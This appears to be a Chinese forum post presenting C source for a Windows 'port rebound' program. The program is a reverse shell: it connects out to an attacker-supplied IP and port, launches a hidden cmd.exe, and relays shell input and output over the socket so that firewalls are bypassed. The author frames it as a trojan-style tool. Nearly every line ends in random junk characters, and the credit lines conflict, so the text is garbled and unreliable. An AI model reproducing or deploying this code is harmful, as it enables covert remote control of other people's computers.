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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Aipm=C8  
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/* ============================== u%z'.#r;a  
Rebound port in Windows NT (XmmbAbVom  
By wind,2006/7 `G\Gk|4; 2  
===============================*/ 0{z8pNrc  
#include QJ(%rvn3  
#include %\sE\]K  
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#pragma comment(lib,"wsock32.lib") O{~Xp!QQt  
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void OutputShell(); P4_B.5rrJ  
SOCKET sClient; hN!;Tny  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L +Uq4S^  
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void main(int argc,char **argv) UH%H9; ,$]  
{ SN ?Z7  
WSADATA stWsaData; -_5Dk'R#`  
int nRet; ZM-P  
SOCKADDR_IN stSaiClient,stSaiServer; :2S?|7U4  
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if(argc != 3) /tj]^QspS  
{ ]goJ- &  
printf("Useage:\n\rRebound DestIP DestPort\n"); a<\n$E#q  
return; dX)a D $m  
} |rk.t g9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }RadbJ{q=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EMO {u  
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stSaiClient.sin_family = AF_INET; '=Zm[P,  
stSaiClient.sin_port = htons(0); b7\>=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "Ux(nt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) EniV-Uj\D  
{ d;l%XZe  
printf("Bind Socket Failed!\n"); sGhw23  
return; &-Ch>:[  
} J(d+EjC  
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stSaiServer.sin_family = AF_INET; hDB(y4/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3WQa^'u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Sxc)~y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fy<:iv0>t  
{ 8\P,2RSnt  
printf("Connect Error!"); WJONk_WAc  
return; \h#aPG<yo  
} W7uX  
OutputShell(); 5U7,,oyh  
} BT8)t.+pv  
:s_.K'4?a  
void OutputShell() +&VY6(Zj+*  
{ m0ra  
char szBuff[1024]; H%Vf$1/TF  
SECURITY_ATTRIBUTES stSecurityAttributes; vA_,TS#Bo  
OSVERSIONINFO stOsversionInfo; mm +V*L{x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KMy"DVqE  
STARTUPINFO stStartupInfo; ynM~&]fk#k  
char *szShell; ohKoX$|p~  
PROCESS_INFORMATION stProcessInformation; B2]52Fg-"  
unsigned long lBytesRead;  hO$Gx*e$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BuRsz6n  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vb>F)po1}  
stSecurityAttributes.lpSecurityDescriptor = 0; sS ?A<D  
stSecurityAttributes.bInheritHandle = TRUE; W+Mw:,>*s  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KZ[TW,Gw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |s/N ?/qi  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 59 g//;35@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hzM;{g>t  
stStartupInfo.wShowWindow = SW_HIDE; 2qE_SSXn  
stStartupInfo.hStdInput = hReadPipe; #N`G2}1J  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E`JW4)AH  
R_/;U&R  
GetVersionEx(&stOsversionInfo); :$u[1&6  
6 ~0kb_td  
switch(stOsversionInfo.dwPlatformId) <bhGpLh-E  
{ s(Gs?6}>T  
case 1: 5[X%17&t  
szShell = "command.com"; ,5W u  
break; h?/E/>  
default: kB CU+FC  
szShell = "cmd.exe"; - JEPh!oTt  
break; H*k\C  
} KH?6O%d  
PRiE2Di2S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kZ@UQ{>`  
wg0_J<y]  
send(sClient,szMsg,77,0); MMKN^a"GA  
while(1) V1M|p!  
{ `=hCS0F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); meV Z_f/  
if(lBytesRead) <B|b'XVH2  
{ b`+yNf  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PQl A(v+S  
send(sClient,szBuff,lBytesRead,0); k%~;mu"4}  
} Bq)dqLwk  
else 4Us,DS_/  
{ [n/c7Pe  
lBytesRead=recv(sClient,szBuff,1024,0); / S' +  
if(lBytesRead<=0) break; S'|PA7a}h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n.9k5r@  
} g`'!Vgd?M[  
} W"@'}y  
~fD\=- S1  
return; %,vq@..^  
}
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